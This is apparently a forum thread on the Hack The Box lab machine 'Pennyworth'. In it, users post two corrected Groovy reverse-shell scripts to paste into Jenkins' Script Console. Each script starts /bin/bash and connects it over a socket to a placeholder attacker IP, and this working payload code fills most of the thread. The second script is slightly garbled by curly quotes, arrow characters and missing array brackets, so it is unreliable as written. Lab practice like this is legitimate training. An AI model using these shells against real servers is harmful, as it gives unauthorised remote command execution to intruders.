Starting Point - Pennyworth

i had a problem with the script from “Walkthrough”, after paste it in ‘Script Console’ showed an error.
A friend who understand the code correct it and that helped me finish the box, i hope that will help some of u.

Paste it down there.

    String host="your_IP";
    int port=8000;
    String cmd="/bin/bash";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);

    InputStream pi=p.getInputStream();

    pe = p.getErrorStream();
    si = s.getInputStream();

    OutputStream po=p.getOutputStream();
    so=s.getOutputStream();

    while(!s.isClosed())
    {
    while(pi.available()>0)so.write(pi.read());

    while(pe.available()>0)so.write(pe.read());

    while(si.available()>0)po.write(si.read());

    so.flush();
    po.flush();
    Thread.sleep(50);
    try
     {
         p.exitValue();
         break;
         
     } catch (Exception e){}}

    p.destroy();
    s.close();
4 Likes

THANK YOU!!!

I was having trouble with this too.

They should re-write the guide to reflect this so other people don’t get stuck.

Then again, it teaches us how to use other resources to reach a goal.

1 Like

Wow thank you.
I wish I found this sooner before getting gpt involved. Adding here for reference

import java.net.Socket

def host = “Ip”
def port = port
def cmd = “/bin/bash”

// Start the process with error stream merged into standard output.
def process = new ProcessBuilder(cmd).redirectErrorStream(true).start()
// Connect to the remote host.
def socket = new Socket(host, port)

// Thread to forward the process’s output to the socket.
Thread.start {
socket.withStreams { inputStream, outputStream →
process.inputStream.withStream { procOut →
byte buffer = new byte[1024]
int bytesRead
while ((bytesRead = procOut.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead)
outputStream.flush()
}
}
}
}

// Thread to forward the socket’s input to the process.
Thread.start {
socket.withStreams { inputStream, outputStream →
process.outputStream.withStream { procIn →
byte buffer = new byte[1024]
int bytesRead
while ((bytesRead = inputStream.read(buffer)) != -1) {
procIn.write(buffer, 0, bytesRead)
procIn.flush()
}
}
}
}

// Wait for the process to exit.
process.waitFor()
socket.close()
process.destroy()